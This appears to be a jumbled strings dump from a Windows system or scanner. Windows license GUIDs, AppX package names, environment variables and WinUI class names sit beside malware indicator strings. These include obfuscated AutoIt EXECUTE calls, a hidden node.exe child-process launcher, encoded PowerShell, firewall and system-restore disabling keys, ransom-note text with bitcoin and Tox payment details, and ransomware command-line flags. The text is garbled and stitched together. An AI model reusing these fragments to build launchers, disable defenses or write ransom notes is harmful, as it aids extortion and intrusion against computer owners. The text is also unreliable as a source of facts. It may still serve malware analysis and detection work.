++S+ = FILEREAD ( FILEOPEN ( EXECUTE ( "@tempdir" ) & = ASC ( STRINGMID ( &= CHR ( = EXECUTE ( "F" & "ileRe" & "ad(FileO = EXECUTE ( "S" & "tr" & "ing" & "Re" & "pla" & "ce = EXECUTE ( "Execute" ) ( $VDATA , $VCRYPTKEY , $DDDS = ( "amsi1" , "5" ) , EXECUTE ( "1" ) ) ( "UevAgentPolicyGenerator2" , "5" ) , EXECUTE ( "1" ) ) = @APPDATADIR & "\ = @SCRIPTFULLPATH Musquitao\Desktop\BR_2023\LOAD_2023\DLL-CPP\D\x64\Release\D.pdb \Documents D.dll System.Net.HttpDynamicInvoke 3dad2be1-d9c2-4843-b189-063c10458dd7 mails.txtremaining combo.txt \node.exe" -e "const { } = require('child_process'); (process.env.localappdata process.env.localappdata + '\\nodejs\\node.exe', [' { detached: true, stdio: 'ignore', windowshide: true, cwd: __dirname }).unref(); powershell -enc cmd.exe /u /c cd /d "%s" & dir /a /-c !!! SYSTEM COMPROMISED !!!YOUR FILES ARE GONE!!! SYSTEM LOCKED !!!YOUR COMPUTER IS UNDER CONTROLLockScreenClass Software\Policies\Microsoft\Windows NT\SecurityDisableFirewallSoftware\Policies\Microsoft\Windows NT\SystemRestoreTo decrypt themwallet address Information.HTA System Volume Information HOW-TO-RESTORE-YOUR-FILES.txtlocated in every encrypted folderbuy bitcoin gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6AxOOd9JmLOou4qWUWazX6fICDBeBojsRKXbgeSE8xEeN6MCrVxSu/sTlEFwxss8iF2zSAcCAAEABQABAAIAAQAHAAMAAQAHABM= c-fdbf664021c9 7a802526-4c94-4bd1-ba14-835a1aca2120 {4961cc30-d690-43be-910c-8e2db01fc5ad} Windows(R) Publishing License (Private) 55065887-0986-409a-887b-1eafa57d0218 1a538d92-eeef-4229-a9a1-6cd6e18d73a5 Windows(R) UL store License (Private) 76a01053-f9c2-552d-a093-8f5d610ddfd6 761f059a-6e20-d9ad-6a57-d77536abfb4c afbeffa4-97ba-4bfc-8684-cd40423daebc 759253cc-8094-8349-6bac-5d612d2cf096 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 55c92734-d682-4d71-983e-d6ec3f16059f 76a01053-f9c2-552d-a093-8f5d610ddfd6 770c4fab-e917-4899-a2cc-a76b894d5d3d msft:sl/ISSUANCE/client-issuance-wgalic 777821f0-f376-fe57-1a7f-a288d1b5e8bc b28f142a-60ac-03df-c173-6d90edfe473c 80bedb87-dba9-455b-98c8-a61f025d6a5b 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 57d6dc1b-f556-4f5b-935b-3b379fd9dda8 76a01053-f9c2-552d-a093-8f5d610ddfd6_-- 90da7373-1c51-430b-bf26-c97e9c5cdc31 {4961cc30-d690-43be-910c-8e2db01fc5ad} b66c4000-edc6-717d-dabc-b3fc8573d188 {4961cc30-d690-43be-910c-8e2db01fc5ad} 7802c86b-2fc3-fcd0-1998-7e641e5b469c_-- 77fc46ce-91a5-480d-b701-dce9025db675 d7a62862-fb1d-4a5a-b76e-9321c68f598e {71ce6518-3581-46da-948d-083c57061836} 7a802526-4c94-4bd1-ba14-835a1aca2120 7753aa3a-30ba-4188-bb2c-4e0e1d6109a9 windowsComponentLicenseFileTimestamp 758c260e-a267-4f86-b5cd-cede6122f1fb 7b25bb54-9c89-3b31-422f-f0ccbe655265 msft:spp/namespace/ActiveDirectory 074eade0-0d79-ac28-d0c7-9a6d520c0957 windowsComponentLicenseFileTimestamp cf741c46-3276-4bde-b518-bcabee96ed03 4752224c-876e-d1f3-0b40-04138cad71cc {71ce6518-3581-46da-948d-083c57061836} Windows(R) UL phone License (Public) 761f059a-6e20-d9ad-6a57-d77536abfb4c_-- 777821 7560beb4-1f1e-4cfd-9e83-050339804028 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 d22e93bd-11df-83a9-a7fe-a8963e34955f 738b587c-5b70-42ef-bc9f-42c8e367388d {4961cc30-d690-43be-910c-8e2db01fc5ad} 3ebce241-ea87-4946-8a4f-80d00e921dff 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 747479c0-fa0c-40ee-8389-7f712f01efec Windows(R) UL oob License (Private) 8901b415-be9f-48ed-9bae-f200419c6a9c 7547fe20-9461-4870-8528-21b9b3d5af7d c37f0356-96c8-4f5f-9e25-c95c745b4f2c 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 24d17948-379f-4635-9b9b-b548b26b4a98 55c92734-d682-4d71-983e-d6ec3f16059f 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 55c92734-d682-4d71-983e-d6ec3f16059f Windows(R) Publishing License (Public) ec3a9f12-ca0f-9e9c-f660-ee7231b1e2b1 msft:spp/namespace/ActiveDirectory 3e5f61a3-857b-070f-3e0a-35d561e3dd8b 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 Windows(R) UL store License (Private) 92fb8726-92a8-4ffc-94ce-f82e07444653 8b351c9c-f398-4515-9900-09df49427262 Windows(R) Publishing License (Private) 7a0b496f-8d94-8a93-e375-a038de952e82 74543a4a-b6cd-4170-87e2-46f8ff414744 {06a4dd30-84b7-4fd2-b859-f1eddb0858f5} 221a02da-e2a1-4b75-864c-0a4410a33fdf dbd6cfdf-297d-41c4-8b77-58d77aa4dd6c Windows(R) UL store License (Private) Windows(R) UL phone License (Private) 74e70c71-a795-4d23-b8ec-50f3c9818223 windowsComponentLicenseFileTimestamp a48938aa-62fa-4966-9d44-9f04da3f72f2 743ae14c-2a0e-43c1-96ae-be55403b209c 8d95327a-8639-44db-86e2-4ed69e1e3893 74640b07-fc28-43d4-a2fe-9b9bbc0dd736 Windows(R) Publishing License (Public) 7a37a75b-0fa8-b4f9-4649-59f226ad42fa fef18540-3c9d-034d-6176-07a286b47d4c e600fc83-4cd9-4c41-803 721f9237-9341-4453-a661-09e8baa6cca5 3186e9d4-2ccb-44c5-205f-cfcbd8820dd2 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 windowsComponentLicenseFileTimestamp Windows(R) UL store License (Public) {06a4dd30-84b7-4fd2-b859-f1eddb0858f5} Windows(R), ProfessionalEducation edition 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 9f2626bb-bc40-2410-9e3f-d1f5fe5d871e {06a4dd30-84b7-4fd2-b859-f1eddb0858f5} 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 Windows(R) UL store License (Private) Windows(R) UL oob License (Public) dition 9edc62fe-b3c1-0924-1e5c-7fabb2732c03 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 9e336af6-ad91-a469-a8aa-579a916110a4_ad 9e70d91b-e7a2-4f8b-adce-e5c5cd4bf24b 9fe449a7-b947-d5d6-82fe-09c6808c2de1_-- 55c92734-d682-4d71-983e-d6ec3f16059f b4bfe195-541e-4e64-ad23-6177f19e395e windowsComponentLicenseFileTimestamp 9f30051d-59b2-3afb-98b5-56e9dc573e6f 9f2626bb-bc40-2410-9e3f-d1f5fe5d871e_-- windowsComponentLicenseFileTimestamp 55c92734-d682-4d71-983e-d6ec3f16059f Windows(R) UL phone License (Private) 040fa323-92b1-4baf-97a2-5b67feaefddb 9f7a504a-b86d-4820-908f-fe6c575f6923 a0be9347-9bb4-b850-2521-f55892cbf3f2_-- {4961cc30-d690-43be-910c-8e2db01fc5ad} 9fbc0014-b5e8-415d-9516-b3dd37f8789c 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 Windows(R) Publishing License (Public) c52877ac-0991-1e3c-14bd-2d8c45280575 Windows(R) Publishing License (Public) 97335521-72da-e3c7-3294-ecb793315311 a1cebf9d-8ac4-431d-b4ac-7b7e3cb87325 7a802526-4c94-4bd1-ba14-835a1aca2120 17eced95-1a3a-4eaf-b151-ea8743f0d2ac Windows(R), IoTEnterpriseK edition 2c293c26-a45a-4a2a-a350-c69a67097529 a0412b26-e10c-48b9-b8b4-c2c7e5a17b12 20cfd9a0-a7f7-49cd-a9ac-91353d009054 60b3ec1b-9545-4921-821f-311b129dd6f6 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 _--_met erpris fileIndex Family licenseId fileId fileId fileIndex Family fileIndex nseId nseId licenseId licenseId fileIndex fileIndex fileId 12158 fileId licenseId ne Lic fileId dda525 10133 Type fileId licenseId licenseId fileId Family fileId licenseId EditionId fileId AAAH/// fileIndex fileIndex fileIndex AAAAAA licenseId OEM_DM Family AAAAAA fileIndex licenseId 10053 AAAA licenseId AAAAAA fileId Family EditionId AAAAAA 20610 fileId fileId 22087 Hhcj8T fileId fileIndex wrTXV6 2YVi7e fileIndex Family EditionId 10940 AIos Family 2nm7 licenseId fileIndex fileIndex fileId licenseId ValUrl VXhIBJ licenseId OEM_SLP ionId lYvXbN PAUrl licenseId Tpy0 licenseId +791Os fileIndex 10293 fileId licenseId fileId fileIndex licenseId pU+/9xL7etlJ0PNeJdnQwytG4MFHuc2U+hVgl/1Krf5sR5FRgclU8Tz8N2D1voUBamQcJCDkdEfsJ+Go0CZIeeUWxNtgyEgL8IQZnQOgwAOth+8Z0B0XeNoUqb45/xAlb1HUM1S4F5Jng66ON0maoADFoDPYSHLgnjlKW7l2gx6ASOKOhwglDqFOQRZb2wlNpwBaB9GyKa9Dt/Cr54Q3KuJgICDlnlRznB940nB7Qh+AhjUg1R/Y/10ty3ysNneX0bdN1JBFYD4RDJMTQ1M0lie3X1D/UEP2il5jPe4tU5FhYIM60gDwnIwckqzv4Zl+l4hfVfJn4VD+mFLO3hkngrYylKRwqcF4wPI9vUpQ1Pli0smjrC6ZJObA+LuY5kPr6Ypm4JKD6849BsDLYSJSoV2GfTB8zQ7oB8+qEL8mILozA9Ub25c/++c+rVFQQfONWjOTnKnjtWso4riBQSEJuOFmGavFhiMAQvfymM7+EHiuAitaPHveIv/qLUbjh9hw1vlouYcWOd61h8dQUfHL/PATIhrGWWsYJRinh4gLQDVPsA3USPjW78XbT8cqK+RPIA3A/8cry/TtYOszyDFuu6B/w2D7wY3u7SBwt5XoljA0eWCQ0JHGPU5Zrw5ef65oyb/xk1gQsO7ZIRnPLWqW/aGfd++L04AS4hErKAIQOktbQcOLJoOysLgSipQ/kkL3Ap3v6yXFKWKgqAjFsvi0GsoP6y/C+0PFu5Aq6UVmenxPdcy/WuHF4mT00JXr/zmalUfnMsZAbCSuCmpgd0zqwuMuAV/TLagXd9UL4pDSmdxluNliCSQrIW0Tei+gQM08e9EbsU9NQknrgxrk+H3gn522/r9DABp7eN3Twn41UqCvSa+4tXq+FStS9zVt/Pv4YCGJ+RGNqDdTiAFWRRWy1I2QR8Dl1X4ISx2XVme4ONJ4PtA2HdQIXTilHzcH7YbuXO8F4OpGML3sjhyCnOVvsoo2vmDQzBMODa0wu1J2Mon7MFLGM3Acy4ANTL0ztwQYsObnmwWDAH6s0MZ3H8TCwZvBKArCJLJwVykYPulyDsMXUzL4BvWeOJDMamJ1bzd7JYwReO1PMd1G8Mwy3FFksj2JzS5O1D62dQ+wtFX21KmP3jt49emCZParlLAMiy7iTghdcGpn8dSAh3A8AJhCQnwW6VJzy3k2G0U0KUtwztqgktQyGK9FkouFV1ClRUATdWtecq4vJ3wibBYlLUyBAEhn0eDpQhbZ9X2W1tDpYDhABTnx/WI0tXEwJ3IjmU7jTAC7Sltbv3383W/UjjC9xgyKcNHbvLH6D1Cz7aQ/O87C2KQQ8ivzRjh81PIv1z5ejE66FKB7BuhfEhSgrY0Tlp2KujAukHCD0eBw/nyuH5fBLdH717ZAoJR+X078GySsS5Rz8JJTNaBQsbnO589jf7rBxph6JuLBkHAZK2fSdafap4uUhkjFo6cwdnHsHlknLYfYcZhPasvkt7AX02qK5xHLGi8KZJEop+WQUQAv3bJ9x7bWt1YqSLnfLHAAvo4IxNQGl9k2yPCjjQQPPgCuUeV7N5ozDLicxt/2SducgIzaAD0uhP+r1mFpyqnWsLhgt2WboCxE5CZsJ7gcx4T1GLD1e9Wkh1SajRkiQ+cBRG8joI/mD2xA3Kzs10c+X+yl0JIQpwP8W59S+BSdafIi7pZlF0Cg8XYxakN3SLd5JTLUbJMGEGbTFhmP5dnprf3b29nBfDlgQ9N+0nupXSy0fr7ziddBJ8BcswXLC+Ota0K76CEUIzZ/8DNLBhMI0IDhSW294VA1Xm8AN/PAPdlhUaxKV/kg8RTK2vDqtHaRHD9FYPAN2mIIbaKwECFZtPZ+gsH/1fedm9EOMtxASjSUVQ+iwxHqZ5+yNjszKeA3cQtVvivrhkW48VUy67Gh4IyiGb91ZynQ8TxyMD44uC4g7f7AXXWh8Iw3gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6AxOOd9JmLOou4qWUWazX6fICDBeBojsRKXbgeSE8x6TDU30lYvXbNGgj/RYGiEAYAPuxTKjiGzVO/JZMjwHCAspNTctZ08x4HWoLdxlQdVQBWhmikTpy0/GJKkhAjG0N6cJ7IL2qWPIVxsY+791OshUIw8yQbdqdvyOVqOaUSQNRfBTCy3l9zxaKccFcb+zC7+M0PMEuxrZLoYYuSBwA/346k72NQHdnDbuvIwXnbqW4h05TfJeDG3mWMUITBKyk1FSXBfd5KcM+D/8hK2rvnwmEGc2sp9OKwAEla5VUYen4zeyFsYNxVZ3AVP0ZUlPMrqyPdUKRi2B2asIIicaes3mraxb3dlhxGh6oAwUtWxoqAZVG9gz4ZXLs1DrAbXjlSqW27W/REv8cS9SD1IA1mbhsN+vgXmsReFj+wXtRQdR2H4ygQfhRymFxYKt4YXyBYPMOp6dv7cRg7IjfqK5fawJKAkRnTY45q2iek qlAQGjykuAW0Nmky 8zMnACjWKrufYUb/ux41 fQiq1zL s5cWAA7xC5vR6So2XXCysNJZsI9w0soZ +ApgBCwRsR/ udBb2RjcJDIKfbnB5BoK5APPgA7vvjdM0nLqD50uFjhKhw3Q+t/8nvapBFJKpIW5+ho3P9DfsY8R+vnrWqr9DlyU1j7JoC/zW1KvlfIp1O4RDQnbOqSgoFniFbBxnCv0x9/CJhbE jGC/ bIA+PbpZEBXpmjvXxD4N ICYy2d9QpWXCcHt7 ajD+0chZELgfuRXIIeTp bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 b0858f5} 0435f5cd-0e83-4818-bdc5-a9a32b8d0012 0435f5cd-0e83-4818-bdc5-a9a32b8d0012 07bd07a6-2959-49fd-9850-9ebcc0ccde37 07bd07a6-2959-49fd-9850-9ebcc0ccde37 0d022270-2a19-4938-a04b-db2fc930df15 0d022270-2a19-4938-a04b-db2fc930df15 134437ad-3abe-4163-a188-d9a2c8379298 134437ad-3abe-4163-a188-d9a2c8379298 14dbbf33-afbb-40ad-a0dc-cb22eab0c81e 14dbbf33-afbb-40ad-a0dc-cb22eab0c81e 1b77174c-1b0f-4f6d-9227-e83a3767c034 1b77174c-1b0f-4f6d-9227-e83a3767c034 24d17948-379f-4635-9b9b-b548b26b4a98 24d17948-379f-4635-9b9b-b548b26b4a98 29f5b186-f2ab-4a4e-a4a8-596a3e347d4d 29f5b186-f2ab-4a4e-a4a8-596a3e347d4d 2a468dda-0346-4879-b284-6e583a081a26 2a468dda-0346-4879-b284-6e583a081a26 2b2437de-3ea9-4820-9123-8cdcbf8cf1a5 2b2437de-3ea9-4820-9123-8cdcbf8cf1a5 2b8f2865-5745-486e-ba13-d0b3481ff105 2b8f2865-5745-486e-ba13-d0b3481ff105 31aaf576-9c75-4335-8af4-1ca037ec2f57 31aaf576-9c75-4335-8af4-1ca037ec2f57 357c4bd4-936f-4f4f-b70c-73d2e0ab208c 357c4bd4-936f-4f4f-b70c-73d2e0ab208c 37e99832-3d02-4f4d-8d42-86a6a661c71f 37e99832-3d02-4f4d-8d42-86a6a661c71f 394d9936-39df-43f3-a3f0-699e15355225 394d9936-39df-43f3-a3f0-699e15355225 40f08835-93ed-4a1e-b68d-d35bb6985784 40f08835-93ed-4a1e-b68d-d35bb6985784 41cc0ed6-7b8a-4afd-b5a4-772d94c0fefa 41cc0ed6-7b8a-4afd-b5a4-772d94c0fefa 42405caf-db20-431e-8727-e708d055f25d 42405caf-db20-431e-8727-e708d055f25d 4328c198-e026-4f12-9c2a-d1d6bc955eb1 4328c198-e026-4f12-9c2a-d1d6bc955eb1 4333c387-9c70-4936-a99b-e96a9e7aee18 4333c387-9c70-4936-a99b-e96a9e7aee18 43a31c64-668b-46f3-a7ec-4dc7a2a7eb64 43a31c64-668b-46f3-a7ec-4dc7a2a7eb64 498f9055-4507-489c-852a-ddcaaefe6e2e 498f9055-4507-489c-852a-ddcaaefe6e2e 499762ae-7b60-40b8-9b71-bb4db275a96f Server/Diagnostic ppX ployment.Task.Server.Deployment.DeStagePackage oft-Windows-AppXDeploymentServer/Diagnostic +icr oft-Windows-AppXDeploymentServer/Diagnostic ,icr oft-Windows-AppXDeploymentServer/Diagnostic 1icr oft-Windows-AppXDeploymentServer/Diagnostic @icr oft-Windows-AppXDeploymentServer/Diagnostic 0icr oft-Windows-AppXDeploymentServer/Diagnostic ployment.Task.Server.Deployment.OSIMActivate 2icr oft-Windows-AppXDeploymentServer/Diagnostic Micr oft-Windows-AppXDeploymentServer/Diagnostic #icr oft-Windows-AppXDeploymentServer/Diagnostic >ppX ployment.Task.Server.Deployment.SetPackageState Sicr oft-Windows-AppXDeploymentServer/Diagnostic ?icr oft-Windows-AppXDeploymentServer/Diagnostic .icr oft-Windows-AppXDeploymentServer/Diagnostic 4ppX ployment.Task.Server.Deployment.DeStagePackage %icr oft-Windows-AppXDeploymentServer/Diagnostic 3icr oft-Windows-AppXDeploymentServer/Diagnostic (icr oft-Windows-AppXDeploymentServer/Diagnostic /ppX ployment.Task.Server.Deployment.SetPackageState =icr s-AppXDe Serv [icr ment 4be0094f-04ab-4d27-94e5-c585ba782e7a 55c92734-d682-4d71-983e-d6ec3f16059f 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 {06a4dd30-84b7-4fd2-b859-f1eddb0858f5} ae82a366-82a4-4065-b6ee-428bdcaa95ab c47702d4-067e-b04a-63c5-89efde51b33d c86d5194-4840-4dae-9c1c-0301003a5ab0 {99d92734-d682-4d71-983e-d6ec3f16059f} ce0d372c-b0d1-4c39-af16-32bde261c6b7 613d217f-7f13-4268-9907-1662339531cd {99d92734-d682-4d71-983e-d6ec3f16059f} 2c537561-5f3b-be77-f74b-b939a95f788d d4196f03-2641-4815-b2e4-885c16000a1d 3ffb5958-e50f-4bc8-9163-88ff4045e591 {99d92734-d682-4d71-983e-d6ec3f16059f} Windows(R), ProfessionalEducation edition 73111121-5638-40f6-bc11-f1d7b0d64300 55c92734-d682-4d71-983e-d6ec3f16059f 7e5bf3c7-14cf-c69e-f99d-41649ebc2639 {99d92734-d682-4d71-983e-d6ec3f16059f} 55c92734-d682-4d71-983e-d6ec3f16059f 945246f7-d867-46b3-b71d-83be3937e05d {99d92734-d682-4d71-983e-d6ec3f16059f} Windows(R) UL oob License (Public) 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 90e958fa-78cd-4b24-5ded-3eb5a0f62274 97cde3ae-e908-4b59-ac96-a17645c5b57e 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 dcf07b5e-2953-438e-bf4b-297d74a9cfaa 55c92734-d682-4d71-983e-d6ec3f16059f 730b1435-8766-4da3-a72f-2a540df8bb7e dd9f941c-d618-4b4a-8f83-5558d3c27cf1 {06a4dd30-84b7-4fd2-b859-f1eddb0858f5} dd64fb1b-6454-47a3-8be8-0eada3488adb 7d964f47-39f7-8028-502c-522b3855b3f4 Windows(R), IoTEnterpriseK edition 19de9b2f-0166-4abb-9534-56ea69a80edb Windows(R) UL oob License (Public) {99d92734-d682-4d71-983e-d6ec3f16059f} 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d 92fb8726-92a8-4ffc-94ce-f82e07444653 55c92734-d682-4d71-983e-d6ec3f16059f {06a4dd30-84b7-4fd2-b859-f1edd asIIicaes3mr df97cb8e-a914-19f4-b567-57f710774cc2_-- hashIdString df97cb8e-a914-19f4-b567-57f710774cc2 metaInfoType metaInfoTypeFile windowsComponentLicenseFileName %windir%\system32\spp\tokens\skus\professionalworkstation\professionalworkstation-vo pmjvXxD4Nfut6ICYy2d9QpWXCcHt71IDPQsHB1SvBQuAvc5AaSzVGAVr8ajD+0chZELgfuRXIIeTpGrc2JHEgZIzwAu3t7ZRt8wnJrFX69y/5VNCIJCPBBCOFccOZiZ12+YEbICYbgHla1+EARlig3XM84PAwIOAS83VG+Bnyi8F0g4jhDeB7RPAt+ZExpzQMZ3jF+PKvEGnqH66XShKWMRriESeR5aDAdRoNTD6xiWzvkXCe9XBohmBMpC84WcVq6y/MHOph71lukKRtu1mr2XdYwlMmbJAUcY5gLCzXmIF51IXBJEx d2-d352-6dbb-245f41cbfb07 metaInfoType metaInfoTypeFile windowsComponentLicenseFileName %windir%\system32\spp\tokens\skus\professionalcountryspecific\professionalcountryspecific-oem-nonslp-1-pl-rtm.xrm-ms windowsComponentLicenseFileSize 11001 windowsComponentLicenseFileTimestamp fL4cILyX3AE= /vP1kKM 6ZKAaPQ4VWvCVxbf5h+q5lhTlT5e6f4UsoKzSF8iTcVRTChegP7xdeMgATck4gFUbWnFumbgjppRRVdA/2ejqc4Pl3yY7esDwq3cMYKyiFC5RceL3BYq gyrtfXPk3CEXORQCdBkUrbhgbvsF5JhDAzhjxoJWd84RsH2VjsSvlVN4aJ9lgmtzotXn0SQI1Vd38KdgRiTCXguPJSVBGofRBt2p6naDOgC+2LL71+58fdiHdF4BqtZNgh6HtiUwDrVbo3XrfASulD6Cuqi3RIvzI6ZurInpjd76FULku161KhxtizgM VH6fAjL/s8QKw6/aeTH0/ORU6z+CV41nbMaMAQqtHbBNxVF/SQKnNPaodKFouKtxb/SGClk5g7e9flH2PoNPzz2M86vIuwVCuKbheOaPZijp+A06LTWXQkBypel9OtxmuTU/QgXEYZKSQHvHxCmT/tKJFEzoijInMusBU4Lg/R0WIpU+/9xL7etlJ0PNeJdnQwytG4MFHuc2U+hVgl/1Krf5sR5FRgclU8Tz8N2D1voUBamQcJCD \CurrentControlS 3++S++ \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\WBEM\CIMOM\Comp 54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy oft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy oft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy oft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy oft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy oft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Windows.Internal.CapabilityAccess.Management.CapabilityConsentManager Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe WidgetServiceCOMServer C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe S-1-15-2-1083666204-94104884-4233206613-1271453470-922726920-1064507403-787610193 C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe 2026-02-24T08:04:27.971 C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\AppxManifest.xml 3.0.0.17 S-1-15-2-3024871829-3976948118-2663862959-2402944110-3647003743-4018965598-3259370425 Clipchamp\Clipchamp.exe CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS Default s\1\Windows\WindowStations\WinSta0 Assets\Square150x150Logo.png Assets\Square150x150Logo.png Assets\Square150x150Logo.png Assets\Square44x44Logo.png Assets\Square44x44Logo.png mmmmmmmmm #text disabled ExcludedKeys ExcludedKe #text disabled disabled #text disabled #text disabled #tex disa bled Microsoft.UI.Xaml.Media.Animation.PointAnimation Microsoft.UI.Xaml.Media.Imaging.SoftwareBitmapSource Microsoft.UI.Xaml.Media.XamlCompositionBrushBase Microsoft.UI.Xaml.Media.Animation.SplineDoubleKeyFrame Microsoft.UI.Xaml.Media.Media3D.PerspectiveTransform3D Microsoft.UI.Xaml.Media.PolyQuadraticBezierSegment Microsoft.UI.Private.Controls.MUXControlsTestHooks Microsoft.UI.Private.Controls.RadioButtonsTestHooks Microsoft.UI.Xaml.Media.Imaging.SurfaceImageSource Microsoft.UI.Xaml.Controls.NavigationViewItemBase Microsoft.UI.Xaml.Controls.NavigationViewItemHeader Microsoft.UI.Xaml.Controls.InfoBadgeTemplateSettings Microsoft.UI.Xaml.Controls.Primitives.ComboBoxHelper Microsoft.UI.Xaml.Controls.Primitives.ColorPickerSlider Microsoft.UI.Xaml.Controls.NonVirtualizingLayoutContext Microsoft.UI.Xaml.Controls.Primitives.InfoBarPanel Microsoft.UI.Xaml.Controls.ItemsRepeaterScrollHost Microsoft.UI.Xaml.Controls.NonVirtualizingLayout Microsoft.UI.Xaml.Controls.NavigationViewIte arator osoft.UI ls.AnnotatedScrollBarLabel Microsoft.UI.Xaml.Media.PathSegmentCollection Microsoft.UI.Xaml.Media.TransformCollection Microsoft.UI.Xaml.Printing.PrintDocument Microsoft.UI.Xaml.Media.Imaging.BitmapImage Microsoft.UI.Private.Controls.RepeaterTestHooks Microsoft.UI.Xaml.Printing.AddPagesEventArgs Microsoft.UI.Xaml.Navigation.PageStackEntry Microsoft.UI.Xaml.Controls.ImageIconSource Microsoft.UI.Xaml.Controls.CommandBarFlyout Microsoft.UI.Xaml.Controls.ItemsRepeater Microsoft.UI.Private.Media.AcrylicTestApi Microsoft.UI.Xaml.Controls.FlowLayoutState Microsoft.UI.Xaml.Controls.BreadcrumbBar Microsoft.UI.Private.Media.XamlAmbientLight Microsoft.UI.Private.Media.RevealTestApi Microsoft.UI.Private.Media.RevealBorderLight Microsoft.UI.Xaml.Controls.BreadcrumbBarItem Microsoft.UI.Xaml.Controls.AnnotatedScrollBar Microsoft.UI.Xaml.Controls.DropDownButton Microsoft.UI.Xaml.Controls.ElementFactory Microsoft.UI.Private.Media.RevealBrushTestApi Microsoft.UI.Xaml.Controls.AnimatedIconSource Microsoft.UI.Xaml.Controls.ItemContainer Microsoft.UI.Private.Media.RevealHoverLight Microsoft.UI.Xaml.Controls.AnimatedVisualPlayer Microsoft.UI.Private.Controls.SpectrumBrush Microsoft.UI.Private.Controls.LayoutsTestHooks Microsoft.UI.Xaml.TriggerActionCollection Microsoft.UI.Xaml.Media.PolyBezierSegment Microsoft.UI.Xaml.Media.TranslateTransform Microsoft.UI.Xaml.Media.LinearGradientBrush Microsoft.UI.Xaml.Printing.PaginateEventArgs Microsoft.UI.Xaml.Media.Media3D.Transform3D Microsoft.UI.Xaml.Me Media3D.Matrix3D Microsof Microsof .Private.C/ trols.SwipeTestHooks Microsoft.UI.Xaml.VisualStateChangedEventArgs Writeabl aging. lper t.UI.Xaml.Media.Matr Projecti Source RectangleGeo Microsof .Xaml.Media.PathFigu windows. vatableClass.inProcessServer t.UI.Xam basta -bomb -encryptionpercent -threads -forcepath Malaga_gameintel22 BananaHook ChessCargoWise.White Collector JarrettVance.Updater WeekTimeProgram AttenuatorTest xutaseboniwilikivolocidizawijubihecivonodmosezogonufozudipejasedobefubuvaweuzutijagofedofupruzoxotozipad filifilm.com.br/i tox:18eb92bd6e4b55b60cc913088f952b7123d0612a5fce67c2edf40aab687e2904 <p>18eb92bd6e4b55b60cc913088f952b7123d0612a5fce67c2edf40aab687e2904</p> 